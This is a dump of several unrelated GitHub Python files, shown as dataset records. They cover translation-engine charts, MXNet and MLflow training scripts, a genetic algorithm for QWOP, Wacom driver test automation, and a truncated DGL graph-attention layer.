计算句子长度\r\n return len(\"\".join(self.sents))\r\n def sent_split(self):\r\n # 句子分句\r\n return self.ltp.sent_split(self.sents)\r\n def seg(self):\r\n # 句子分词\r\n seg, hidden = self.ltp.seg([sent for sent in self.sent_split()])\r\n return seg, hidden\r\n def pos(self):\r\n # 词性标注\r\n seg, hidden = self.seg()\r\n return self.ltp.pos(hidden)\r\n def ner(self):\r\n # 命名实体识别\r\n seg, hidden = self.seg()\r\n return self.ltp.ner(hidden)\r\n\r\ndef fanyi_language_count(df):\r\n # 各翻译引擎翻译各语种数量柱状图构建\r\n plt.style.use('ggplot')\r\n plt.rcParams[\"font.sans-serif\"] = ['SimHei']\r\n plt.rcParams[\"axes.unicode_minus\"] = False\r\n fanyi_lists = ['百度', '有道', '谷歌']\r\n language_lists = ['汉语', '英语', '日语', '韩语']\r\n x_data = language_lists\r\n x_width = [i for i in range(len(x_data))]\r\n for fanyi_key in fanyi_lists:\r\n y_data = []\r\n for language_key in language_lists:\r\n # dataframe搜索目标语言\r\n df2 = df[df['目标语言'] == language_key]\r\n # dataframe搜索翻译引擎 count 计数函数\r\n y_data.append(df2[df2['用户选择的翻译引擎'] == fanyi_key]['翻译结果'].count())\r\n plt.bar(x_width, y_data, width=0.2, align='center', label=fanyi_key)\r\n x_width = [(i + 0.2) for i in x_width]\r\n plt.xticks([0.3, 1.3, 2.3, 3.3], x_data)\r\n plt.legend()\r\n return plt\r\n\r\ndef pos_radar():\r\n fanyi_lists = ['百度', '有道', '谷歌']\r\n with open('nlp_analys/nlp_pos.json','r',encoding='utf-8') as f:\r\n results = json.load(f)\r\n return radar('翻译引擎不同类型词性分析能力', fanyi_lists, results)\r\n\r\ndef ner_radar():\r\n fanyi_lists = ['百度', '有道', '谷歌']\r\n with open('nlp_analys/nlp_ner.json', 'r', encoding='utf-8') as f:\r\n results = json.load(f)\r\n return radar('翻译引擎不同类型实体分析能力', fanyi_lists, results)\r\n\r\n\r\ndef radar(title,fanyi_lists,results):\r\n '''\r\n 构建雷达图\r\n :param title: 雷达图名称\r\n :param fanyi_lists: 翻译引擎\r\n :param results: 翻译引擎结果\r\n :return: 雷达图\r\n '''\r\n plt.style.use('ggplot')\r\n plt.rcParams[\"font.sans-serif\"] = ['SimHei']\r\n plt.rcParams[\"axes.unicode_minus\"] = False\r\n\r\n # pos_tags = {'a': '形容词', 'n': '名词', 'v': '动词', 'm': '量词', 'd': '副词', 'r': '代词'}\r\n # ner_tags = {'Nh': '人名', 'Ni': '机构名', 'Ns': '地名'}\r\n # results = [{\"形容词\": 87, \"名词\": 79, \"动词\": 95, \"量词\": 92,'代词':150,'副词':120}]\r\n\r\n max_length = max([r for result in results for r in result.values()])\r\n data_length = len(results[0])\r\n # 将极坐标根据数据长度进行等分\r\n angles = np.linspace(0, 2 * np.pi, data_length, endpoint=False)\r\n labels = [key for key in results[0].keys()]\r\n score = [[v for v in result.values()] for result in results]\r\n # 使雷达图数据封闭\r\n angles = np.concatenate((angles, [angles[0]]))\r\n labels = np.concatenate((labels, [labels[0]]))\r\n # 设置图形的大小\r\n fig = plt.figure(figsize=(8, 6), dpi=100)\r\n # 新建一个子图\r\n ax = plt.subplot(111, polar=True)\r\n # 绘制雷达图\r\n for s in score:\r\n score_a = np.concatenate((s, [s[0]]))\r\n ax.plot(angles, score_a)\r\n # 设置雷达图中每一项的标签显示\r\n ax.set_thetagrids(angles * 180 / np.pi, labels)\r\n # 设置雷达图的0度起始位置\r\n ax.set_theta_zero_location('N')\r\n # 设置雷达图的坐标刻度范围\r\n ax.set_rlim(0, max_length)\r\n # 设置雷达图的坐标值显示角度,相对于起始角度的偏移量\r\n ax.set_rlabel_position(270)\r\n ax.set_title(title)\r\n plt.legend(fanyi_lists, loc='best')\r\n return plt\r\n\r\n\r\nif __name__ == '__main__':\r\n contexts = centext_ltp([\"小明去深圳宝安区参加了一场腾讯会议\",\"阿里巴巴公司正在进行裁员\"])\r\n print(contexts.sent_split())\r\n print(contexts.seg()[0])\r\n print(contexts.pos())\r\n print(contexts.ner())\r\n print(len(contexts))\r\n pos_radar()\r\n ner_radar()\r\n\r\n\r\n","repo_name":"cshmzin/fanyi","sub_path":"data_analys.py","file_name":"data_analys.py","file_ext":"py","file_size_in_byte":4657,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"720221575","text":"import mxnet as mx\nimport os\nimport logging\nimport argparse\nfrom math import ceil\nimport sparse_sgd\n\n# symbol net\ndef get_symbol():\n data = mx.symbol.Variable('data')\n fc1 = mx.symbol.FullyConnected(data, name='fc1', num_hidden=128)\n act1 = mx.symbol.Activation(fc1, name='relu1', act_type=\"relu\")\n fc2 = mx.symbol.FullyConnected(act1, name='fc2', num_hidden=64)\n act2 = mx.symbol.Activation(fc2, name='relu2', act_type=\"relu\")\n fc3 = mx.symbol.FullyConnected(act2, name='fc3', num_hidden=10)\n softmax = mx.symbol.SoftmaxOutput(fc3, name='sm')\n\n return softmax\n\n# download ubyte version of mnist and untar\ndef download_data():\n if not os.path.isdir(\"data/\"):\n os.system(\"mkdir data/\")\n if (not os.path.exists('data/train-images-idx3-ubyte')) or \\\n (not os.path.exists('data/train-labels-idx1-ubyte')) or \\\n (not os.path.exists('data/t10k-images-idx3-ubyte')) or \\\n (not os.path.exists('data/t10k-labels-idx1-ubyte')):\n os.system(\"wget -q http://data.mxnet.io/mxnet/data/mnist.zip -P data/\")\n os.chdir(\"./data\")\n os.system(\"unzip -u mnist.zip\")\n os.chdir(\"..\")\n\n# get data iterators\ndef get_iters(batch_size):\n train = mx.io.MNISTIter(\n image=\"data/train-images-idx3-ubyte\",\n label=\"data/train-labels-idx1-ubyte\",\n data_shape=(784,),\n label_name='sm_label',\n batch_size=batch_size,\n shuffle=True,\n flat=True,\n silent=False,\n seed=10)\n val = mx.io.MNISTIter(\n image=\"data/t10k-images-idx3-ubyte\",\n label=\"data/t10k-labels-idx1-ubyte\",\n data_shape=(784,),\n label_name='sm_label',\n batch_size=batch_size,\n shuffle=True,\n flat=True,\n silent=False)\n\n return (train, val)\n\ndef test_mlp(args):\n # get parameters\n prefix = './mlp'\n batch_size = 100\n pruning_switch_epoch = [int(i) for i in args.pruning_switch_epoch.split(',')]\n num_epoch = pruning_switch_epoch[-1]\n batches_per_epoch = ceil(60000.0/batch_size)\n weight_sparsity = args.weight_sparsity\n bias_sparsity = args.bias_sparsity\n weight_threshold = args.weight_threshold\n bias_threshold = args.bias_threshold\n if args.weight_sparsity:\n weight_sparsity = [float(i) for i in args.weight_sparsity.split(',')]\n bias_sparsity = [float(i) for i in args.bias_sparsity.split(',')]\n else:\n weight_threshold = [float(i) for i in args.weight_threshold.split(',')]\n bias_threshold = [float(i) for i in args.bias_threshold.split(',')]\n\n # get symbols and iterators\n sym = get_symbol()\n download_data()\n (train, val) = get_iters(batch_size)\n\n # fit model\n model = mx.mod.Module(\n sym,\n context=[mx.cpu(i) for i in range(2)],\n data_names=['data'],\n label_names=['sm_label'])\n optimizer_params = {\n 'learning_rate' : 0.1,\n 'wd' : 0.004,\n 'momentum' : 0.9,\n 'pruning_switch_epoch' : pruning_switch_epoch,\n 'batches_per_epoch' : batches_per_epoch,\n 'weight_sparsity' : weight_sparsity,\n 'bias_sparsity' : bias_sparsity,\n 'weight_threshold' : weight_threshold,\n 'bias_threshold' : bias_threshold}\n logging.info('Start training...')\n model.fit(train,\n eval_data=val,\n eval_metric='acc',\n epoch_end_callback=mx.callback.do_checkpoint(prefix),\n num_epoch=num_epoch,\n optimizer='sparsesgd',\n optimizer_params=optimizer_params)\n logging.info('Finish traning...')\n\n # remove files\n for i in range(num_epoch):\n os.remove('%s-%04d.params' % (prefix, i + 1))\n os.remove('%s-symbol.json' % prefix)\n\n\nif __name__ == \"__main__\":\n\n # print logging by default\n logging.basicConfig(level=logging.DEBUG)\n\n parser = argparse.ArgumentParser(description=\"sparse training\")\n parser.add_argument('--pruning_switch_epoch', type=str)\n parser.add_argument('--weight_sparsity', type=str, default=None)\n parser.add_argument('--bias_sparsity', type=str, default=None)\n parser.add_argument('--weight_threshold', type=str, default=None)\n parser.add_argument('--bias_threshold', type=str, default=None)\n args = parser.parse_args()\n\n test_mlp(args)\n","repo_name":"hpi-xnor/BMXNet","sub_path":"example/dsd/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"37"} +{"seq_id":"1749453078","text":"import argparse\nfrom pathlib import Path\nimport pickle\n\nimport mlflow\nimport numpy as np\n\nfrom hyperopt import STATUS_OK, Trials, fmin, hp, tpe\nfrom hyperopt.pyll import scope\n\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_squared_error\n \ndef load_pickle(filename: str):\n with open(filename, \"rb\") as f_in:\n return pickle.load(f_in)\n\n\ndef run(data_path, tracking_uri, num_trials):\n\n dv = load_pickle(data_path / 'dv.pkl')\n X_train, y_train = load_pickle(data_path / 'train.pkl')\n X_valid, y_valid = load_pickle(data_path / 'valid.pkl')\n\n if tracking_uri:\n mlflow.set_tracking_uri(tracking_uri)\n else:\n mlflow.set_tracking_uri(\"sqlite:///mlflow.db\")\n\n mlflow.set_experiment(\"nyc-taxi-experiment\")\n \n # mlflow.sklearn.autolog()\n def objective(params):\n with mlflow.start_run():\n mlflow.set_tags(\n {'estimator_name':'RandomForestRegressor',\n 'estimator_class':'sklearn.ensemble._forest.RandomForestRegressor'}\n )\n mlflow.log_params(params)\n\n rf = RandomForestRegressor(**params)\n rf.fit(X_train, y_train)\n\n mlflow.sklearn.log_model(rf, artifact_path='model')\n y_pred = rf.predict(X_valid)\n rmse = mean_squared_error(y_valid, y_pred, squared=False)\n mlflow.log_metric('rmse', rmse)\n\n with open(data_path / 'dict_vectorizer.bin', 'wb') as f_out:\n pickle.dump(dv, f_out)\n \n # accepts str path only\n mlflow.log_artifact(str(data_path / 'dict_vectorizer.bin'))\n\n return {'loss': rmse, 'status': STATUS_OK}\n\n search_space = {\n 'max_depth': scope.int(hp.quniform('max_depth', 1, 20, 1)),\n 'n_estimators': scope.int(hp.quniform('n_estimators', 10, 50, 1)),\n 'min_samples_split': scope.int(hp.quniform('min_samples_split', 2, 10, 1)),\n 'min_samples_leaf': scope.int(hp.quniform('min_samples_leaf', 1, 4, 1)),\n 'random_state': 42\n }\n\n rstate = np.random.default_rng(42) # for reproducible results\n\n fmin(\n fn=objective,\n space=search_space,\n algo=tpe.suggest,\n max_evals=num_trials,\n trials=Trials(),\n rstate=rstate\n )\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--data_path\",\n default=\"../data/output\",\n type=Path,\n help=\"the location where the processed NYC taxi trip data was saved.\"\n )\n parser.add_argument(\n \"--tracking_uri\", \"-t\",\n default=None,\n help=\"Host:port if remote; leave none for local mlflow.db file\"\n )\n parser.add_argument(\n \"--max_evals\",\n default=50,\n type=int,\n help=\"the number of parameter evaluations for the optimizer to explore.\"\n )\n args = parser.parse_args()\n\n run(\n args.data_path, \n args.tracking_uri, \n args.max_evals\n )\n","repo_name":"vykuang/mlops-zoomcamp","sub_path":"w4-deployment/web-service-mlflow/train_hpo.py","file_name":"train_hpo.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6800694731","text":"m = int(input())\r\nd = int(input())\r\ns = (m*2+d)%3 \r\nif s ==0 :\r\n print('普通')\r\nelif s ==1:\r\n print('吉')\r\nelse :\r\n print('大吉')\r\n \r\n#exec(n = [ eval(i) for i in input().split()]),print([\"普通\",\"吉\",\"大吉\"][(n[0]*2+n[1])%3])\r\n\r\n","repo_name":"Bill640616Chen/python","sub_path":"w3-Excersize003-1.py","file_name":"w3-Excersize003-1.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19864284303","text":"import random\n\ndef createNewPopulation(oldPopulation):\n #breed the fittest parents until we have a full population again and run\n newPopulation = []\n fittestIndexes = getFittest(oldPopulation)\n\n #log data about parents to be bred to file\n parents = []\n for x in range(len(fittestIndexes)):\n parents.append(oldPopulation[fittestIndexes[x]])\n\n with open(\"population.txt\", \"a\") as myFile:\n myFile.write(str(parents)+\"\\n\")\n\n for x in range(0, 4):\n for y in range(x+1, 4):\n parent1 = fittestIndexes[x]\n parent2 = fittestIndexes[y]\n children = breedParents(parent1, parent2, oldPopulation)\n for child in children:\n newPopulation.append(child)\n\n for i in range(len(newPopulation)):\n newPopulation[i] = mutateChild(newPopulation[i])\n\n with open(\"population.txt\", \"a\") as myFile:\n myFile.write(str(newPopulation)+\"\\n\")\n\n return list(newPopulation)\n\ndef getMin(myList):\n mini = myList[0][0]\n miniIndex = 0\n for x in range(1, len(myList)):\n if myList[x][0] < mini:\n mini = myList[x][0]\n miniIndex = x\n\n return mini, miniIndex\n\ndef getFittest(population):\n fittest = []\n #fill a list of 4 fittest until end of population\n for x in range(len(population)):\n fitness = getFitnessOfSpecies(population[x])\n if len(fittest) < 4:\n fittest.append([fitness, x])\n else:\n score, index = getMin(fittest)\n if score < fitness:\n #remove the min and put new fitness in\n del fittest[index]\n fittest.append([fitness, x])\n\n #return index of 4 fittest parents\n returnList = []\n for x in range(len(fittest)):\n returnList.append(fittest[x][1])\n\n return returnList\n\ndef breedParents(parent1Index, parent2Index, population):\n #breed 6 children\n children = []\n\n #pick a random sub-section 1/5th the size of both parents and switch them to create a child\n shortestParent = min(len(population[parent1Index][0]), len(population[parent2Index][0]))\n substringLength = shortestParent//5\n\n for _ in range(3):\n startSplit = random.randrange(0, shortestParent-substringLength)\n newChildString1 = population[parent2Index][0][:startSplit] + population[parent1Index][0][startSplit:startSplit+substringLength] + population[parent2Index][0][startSplit+substringLength:] \n newChildString2 = population[parent1Index][0][:startSplit] + population[parent2Index][0][startSplit:startSplit+substringLength] + population[parent1Index][0][startSplit+substringLength:]\n children.append(newChildString1) \n children.append(newChildString2)\n\n return children\n\ndef mutateChild(child):\n #pick random inputs and change them\n temp = list(child)\n\n for _ in range(random.randrange(0, len(child)//6)):\n place = random.randrange(len(child))\n temp[place] = str(random.randrange(0, 16))\n\n return \"\".join(temp)\n\ndef getFitnessOfSpecies(species):\n fitness = float(species[1])/float(species[2])\n return fitness","repo_name":"etopiei/QWOP-Bot","sub_path":"gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"9135571686","text":"from pili import *\n\naccess_key=\"\"\nsecret_key=\"\"\n\nhub_name=\"jinxinxin\"\nrtmp_publish_host=\"pili-publish.live.golanghome.com\"\nhls_live_play_host=\"pili-live-hls.live.golanghome.com\"\n\n#publish address\n#rtmp://pili-publish.live.golanghome.com/jinxinxin/test?key=abc\n\ncredentials=Credentials(access_key,secret_key)\nhub=Hub(credentials,hub_name)\n\nstream=hub.create_stream(publishSecurity=\"dynamic\")\nprint(stream.id)\nprint(stream.to_json())\n\nrtmp_url=stream.rtmp_publish_url()\nprint(rtmp_url)\n\n\nhls_urls=stream.hls_live_urls()\nprint(hls_urls)\n\n","repo_name":"lubaoyilang/qiniu-live-server","sub_path":"example/create_stream.py","file_name":"create_stream.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6617729066","text":"import json\r\nimport pickle\r\nfrom keypoints.facial_landmarks import initialisation\r\nfrom keypoints.detectvisage import detectvisage\r\nimport sys\r\n\r\ncheminPhoto = sys.argv[1]\r\nprint(cheminPhoto)\r\n# On lance la fonction d'initialisation pour l'analyse d'image\r\ndetector, predictor = initialisation()\r\n\r\n# On sauvegarde le detector\r\ndetectorFile = open(\"./stockage/detector.txt\", \"wb\")\r\ndetectorFile.write(pickle.dumps(detector))\r\ndetectorFile.close()\r\n\r\n# On sauvegarde de predictor\r\npredictorFile = open(\"./stockage/predictor.txt\", \"wb\")\r\npredictorFile.write(pickle.dumps(predictor))\r\npredictorFile.close()\r\n\r\n# On récupère les coordonnees de la bonne posture\r\nx11,y11,x19,y19,x17,y17,D = detectvisage(cheminPhoto, detector, predictor)\r\n\r\n# On sauvegarde les coordonnées de la bonne posture\r\nfichier = open(\"./stockage/coordonnees.json\", \"w\")\r\nfichier.write(json.dumps([x11,y11,x19,y19,x17,y17,D]))\r\nfichier.close()\r\n","repo_name":"EstebanEstoc/Capgemini-Assistant-for-Working-Position","sub_path":"initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1289947441","text":"from _winreg import *\r\nfrom ntsecuritycon import *\r\nfrom sys import stdout\r\nfrom test_file import *\r\nimport win32security\r\nimport win32api\r\nimport psutil\r\nimport subprocess\r\nimport time\r\n\r\n\r\nglobal keyObject\r\nkeyObject = None\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #\r\n# Opens registry key with specified subkey #\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #\r\ndef RegistryKey(rkey, skey):\r\n spath = skey\r\n kres = True\r\n global keyObject\r\n if rkey == 'HKEY_USERS':\r\n try:\r\n keyObject = OpenKey(HKEY_USERS, spath)\r\n except WindowsError:\r\n kres = False\r\n else:\r\n try:\r\n keyObject = OpenKey(HKEY_LOCAL_MACHINE, spath)\r\n except WindowsError:\r\n kres = False\r\n return kres\r\n\r\n\r\n\r\n# Checks value info for subkey\r\n# Returns dict of missing values\r\n\r\ndef RegistryValue(json_report):\r\n test_name = \"Registry Check\"\r\n result = True\r\n path = r'C:\\Wacomation\\resources\\RegList.json'\r\n with open(path, 'r') as f:\r\n val_dict = json.load(f)\r\n f.close()\r\n typeList = ['NONE', 'REG_SZ', 'REG_EXPAND_SZ', 'REG_BINARY', 'REG_DWORD',\r\n 'REG_DWORD_BIG_ENDIAN', 'REG_LINK', 'REG_MULTI_SZ',\r\n 'REG_RESOURCE_LIST', 'REG_FULL_RESOURCE_DESCRIPTOR',\r\n 'REG_RESOURCE_REQUIREMENTS_LIST', 'REG_QWORD']\r\n # The numerical list position of each of the above RegTypes corresponds with the matching \"q_type\" integer value\r\n # returned by the _winreg.EnumValue method. These should not change, so maybe convert to tuple\r\n\r\n error_map = {}\r\n kcount = 1\r\n vkeylist = list(val_dict.keys())\r\n vkeylist.sort()\r\n for val in vkeylist:\r\n valCompareResult = False\r\n vname = val_dict[val]['Name']\r\n vtype = val_dict[val]['Type']\r\n vdata = val_dict[val]['Data']\r\n _name = vname.strip()\r\n _type = vtype\r\n _data = vdata\r\n sk, v, lm = QueryInfoKey(keyObject)\r\n i = 0\r\n errcout = 0\r\n while i < v:\r\n while not valCompareResult:\r\n q_name, q_data, q_type = EnumValue(keyObject, i)\r\n _compare = cmp(str(q_data), str(_data.strip('\"')))\r\n q_type = typeList[q_type]\r\n if _name == '(Default)':\r\n _name = ''\r\n if (_name, _compare, _type) == (q_name, 0, q_type):\r\n valCompareResult = True\r\n i += 1\r\n errcout += 1\r\n result = False\r\n cout = str(errcout)\r\n error_map[cout]['Name'] = vname\r\n error_map[cout]['Type'] = vtype\r\n error_map[cout]['Data'] = vdata\r\n results_map = AddTest(json_report, test_name, result, error_map)\r\n return results_map\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #\r\n# Method that assigns the next script to run on startup #\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #\r\ndef RegEntry(d, s):\r\n RegPath = r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\r\n RunOnce = OpenKey(HKEY_CURRENT_USER, RegPath, 0, KEY_WRITE)\r\n SetValueEx(RunOnce, \"Test Automation\", 0, REG_SZ, r\"C:\\%s\\scripts\\%s\" % (d, s))\r\n CloseKey(RunOnce)\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#\r\n# Function that adjusts privileges so the script can perform a reboot #\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#\r\ndef AdjustPrivilege(priv, enable=1):\r\n # Get process token\r\n flags = TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY\r\n htoken = win32security.OpenProcessToken(win32api.GetCurrentProcess(), flags)\r\n # Get the ID for the system shutdown privilege\r\n id = win32security.LookupPrivilegeValue(None, priv) # params = (systemName, privilegeName)\r\n # Obtain the privilege for this process\r\n # Create a list of privileges to be added\r\n if enable:\r\n newPrivileges = [(id, SE_PRIVILEGE_ENABLED)]\r\n else:\r\n newPrivileges = [(id, 0)]\r\n # make the privilege adjustment\r\n win32security.AdjustTokenPrivileges(htoken, 0, newPrivileges)\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#\r\n# Function that adjusts privileges and performs reboot when called #\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#\r\ndef RebootSystem(message=\"Rebooting\", timeout=0, bForce=1, bReboot=1):\r\n AdjustPrivilege(SE_SHUTDOWN_NAME)\r\n try:\r\n win32api.InitiateSystemShutdown(None, message, timeout, bForce, bReboot)\r\n finally:\r\n # Remove privilege just added\r\n AdjustPrivilege(SE_SHUTDOWN_NAME, 0)\r\n\r\n\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#\r\n# Function that iterates through process list to find process \"pname,\" #\r\n# then returns true, PID, and status when found #\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#\r\ndef FindProcess(pname):\r\n n = False\r\n pid = 0\r\n pstat = 'not found'\r\n for process in psutil.process_iter():\r\n process = psutil.Process(process.pid)\r\n proc_name = process.name()\r\n if proc_name == pname:\r\n pid = process.pid\r\n pstat = process.status()\r\n n = True\r\n return n, pid, pstat\r\n\r\n\r\ndef ProcessTest(json_report):\r\n error = {}\r\n i = 0\r\n result = True\r\n test_name = \"Process Check\"\r\n proc_list = ['Wacom_Tablet.exe', 'Wacom_TabletUser.exe',\r\n 'Wacom_TouchUser.exe', 'WTabletServicePro.exe', 'WacomHost.exe']\r\n for name in proc_list:\r\n res, pid, pstatus = FindProcess(name)\r\n if not res:\r\n result = False\r\n i += 1\r\n error[i] = name + \" \" + pstatus\r\n results_map = AddTest(json_report, test_name, result, error)\r\n return results_map\r\n\r\n\r\ndef FileTest(json_report):\r\n error_map = dict()\r\n missing_count = 0\r\n test_name = \"File Check\"\r\n result = True\r\n with open(r'C:\\Wacomation\\resources\\FileList.json', 'r') as f:\r\n file_map = json.load(f)\r\n pkeylist = list(file_map.keys())\r\n pkeylist.sort()\r\n for p in pkeylist:\r\n _path = file_map[p]['Path']\r\n pcheck = os.path.exists(_path)\r\n if not pcheck:\r\n missing_count += 1\r\n result = False\r\n error_map.update([(missing_count, _path)])\r\n else:\r\n fkeylist = list(file_map[p]['ContainsFiles'].keys())\r\n fkeylist.sort()\r\n for f in fkeylist:\r\n _file = file_map[p]['ContainsFiles'][f]['FileName']\r\n f_path = _path + '\\\\' + _file\r\n fcheck = os.path.exists(f_path)\r\n # _size = file_map[p]['ContainsFiles'][f]['ByteSize']\r\n if not fcheck:\r\n missing_count += 1\r\n error_map.update([(missing_count, f_path)])\r\n results_map = AddTest(json_report, test_name, result, error_map)\r\n return results_map\r\n\r\ndef InstallDriver():\r\n driver = getMetaValue('driverName')\r\n start = time.time()\r\n process = subprocess.Popen([driver, \"/s\"])\r\n while process.poll() is None: # Function to show elapsed install C:\\Users\\Cash\\Desktop\\setuptools-19.6.1time\r\n elapsed = time.time() - start\r\n stdout.write(\"\\rFinsting. Elapsed time: %d\" % elapsed)\r\n stdout.flush()\r\n _result = True\r\n _error = None\r\n if process.returncode != 0: # If call return is 0 (no errors) makes new reg entry\r\n _result = False\r\n _error = process.returncode\r\n return _result, _error\r\n\r\n\r\ndef UninstallDriver():\r\n start = time.time()\r\n path = r\"C:\\Program Files\\Tablet\\Wacom\\32\\Remove.exe\"\r\n process = subprocess.Popen([path, \"/u\", \"/s\"], shell=True, cwd=r\"C:\\Program Files\\Tablet\\Wacom\\32\")\r\n while process.poll() is None:\r\n elapsed = time.time() - start\r\n stdout.write(\"\\rUinsting. Elapsed time: %d seconds\" % elapsed)\r\n stdout.flush()\r\n\r\n _result = True\r\n if process.returncode != 0: # If call return is 0 (no errors) makes new reg entry for next script then restarts\r\n _result = False\r\n rc = process.returncode\r\n else:\r\n rc = process.returncode\r\n return rc, _result\r\n\r\n\r\n\r\n\r\n\r\n# Experimenting with automated login\r\n# user = getpass.getuser()\r\n# print(\"The user name is %s\" % user)\r\n# user_name = os.getlogin()\r\n# print(\"The user_name is %s\" % user_name)\r\n# user2 = os.environ.get(\"USERNAME\")\r\n# print(user2)\r\n","repo_name":"snizzard/Wacomation","sub_path":"wac_functions.py","file_name":"wac_functions.py","file_ext":"py","file_size_in_byte":8545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72594970027","text":"import torch\nimport torch.nn as nn\nimport dgl\nimport torch.nn.functional as F\nfrom tqdm import tqdm\nfrom collections import defaultdict\n\nfrom dgl import function as fn\nfrom dgl.ops import edge_softmax\nfrom dgl.utils import expand_as_pair\n\n\nclass HeteroGraphConv(nn.Module):\n def __init__(self, mods: dict):\n \"\"\"\n\n :param mods: input modules for graph learning\n :param relation_aggregate: aggregate manner node features generated by different relations\n \"\"\"\n super(HeteroGraphConv, self).__init__()\n self.mods = nn.ModuleDict(mods)\n\n def forward(self, graph: dgl.DGLHeteroGraph, input_src: dict, input_dst: dict, src_node_transformation: nn.ModuleDict,\n dst_node_transformation: nn.ModuleDict, src_node_attention: nn.ParameterDict, dst_node_attention: nn.ParameterDict):\n \"\"\"\n call the forward function with each module.\n\n Parameters\n ----------\n graph : DGLHeteroGraph\n The Heterogeneous Graph.\n input_src : dict[str, Tensor], Input source node features {'ntype': features}.\n input_dst : dict[str, Tensor], Input destination node features {'ntype': features}.\n src_node_transformation: nn.ModuleDict, weights {'ntype', (input_dim, hidden_dim * heads)}\n dst_node_transformation: nn.ModuleDict, weights {'ntype', (input_dim, hidden_dim * heads)}\n src_node_attention: nn.ParameterDict, weights {'ntype', (1, num_heads, out_size)}\n dst_node_attention: nn.ParameterDict, weights {'ntype', (1, num_heads, out_size)}\n\n Returns\n -------\n outputs, dict[str, Tensor]\n Output representations for each type of destination node -> {dtype: features}.\n \"\"\"\n\n # key: dsttype, value: list of representations\n outputs = defaultdict(list)\n\n for stype, etype, dtype in graph.canonical_etypes:\n rel_graph = graph[stype, etype, dtype]\n if rel_graph.number_of_edges() == 0:\n continue\n\n # shape (dst_nodes, hid_dim)\n outputs[dtype].append(self.mods[etype](rel_graph, (input_src[stype], input_dst[dtype]), src_node_transformation[stype], dst_node_transformation[dtype],\n src_node_attention[stype], dst_node_attention[dtype]).flatten(start_dim=1))\n\n output_features = {}\n for ntype in outputs:\n if len(outputs[ntype]) == 1:\n output_features[ntype] = outputs[ntype][0]\n else:\n output_features[ntype] = torch.mean(torch.stack(outputs[ntype], dim=0), dim=0)\n\n return output_features\n\n\nclass GATConv(nn.Module):\n def __init__(self, in_feats: int, out_feats: int, num_heads: int, feat_drop: float = 0.0, use_attn_dst: bool = True, use_symmetric_norm: bool = False):\n \"\"\"\n\n :param in_feats:\n :param out_feats:\n :param num_heads:\n :param feat_drop:\n :param use_attn_dst: whether calculate attention for destination node\n :param use_symmetric_norm: whether use use symmetric norm\n \"\"\"\n super(GATConv, self).__init__()\n self._num_heads = num_heads\n self._in_src_feats, self._in_dst_feats = expand_as_pair(in_feats)\n self._out_feats = out_feats\n\n self.feat_dropout = nn.Dropout(feat_drop)\n self.leaky_relu = nn.LeakyReLU(negative_slope=0.2)\n\n self.use_attn_dst = use_attn_dst\n self._use_symmetric_norm = use_symmetric_norm\n\n def forward(self, graph: dgl.DGLHeteroGraph, feat: torch.Tensor or tuple, src_node_transformation: nn.Module, dst_node_transformation: nn.Module,\n src_node_attention: nn.Parameter, dst_node_attention: nn.Parameter):\n \"\"\"\n graph : The graph\n feat : torch.Tensor or pair of torch.Tensor\n src_node_transformation : nn.Parameter, trainable parameters for source node feature transformation\n dst_node_transformation : nn.Parameter, trainable parameters for destination node feature transformation\n src_node_attention : nn.Parameter, trainable attention vector for source node\n dst_node_attention : nn.Parameter, trainable attention vector for destination node\n \"\"\"\n\n with graph.local_scope():\n if isinstance(feat, tuple):\n h_src = self.feat_dropout(feat[0])\n h_dst = self.feat_dropout(feat[1])\n feat_src = src_node_transformation(h_src).view(-1, self._num_heads, self._out_feats)\n feat_dst = dst_node_transformation(h_dst).view(-1, self._num_heads, self._out_feats)\n else:\n h_src = h_dst = self.feat_dropout(feat)\n feat_src = feat_dst = src_node_transformation(h_src).view(-1, self._num_heads, self._out_feats)\n if graph.is_block:\n feat_dst = 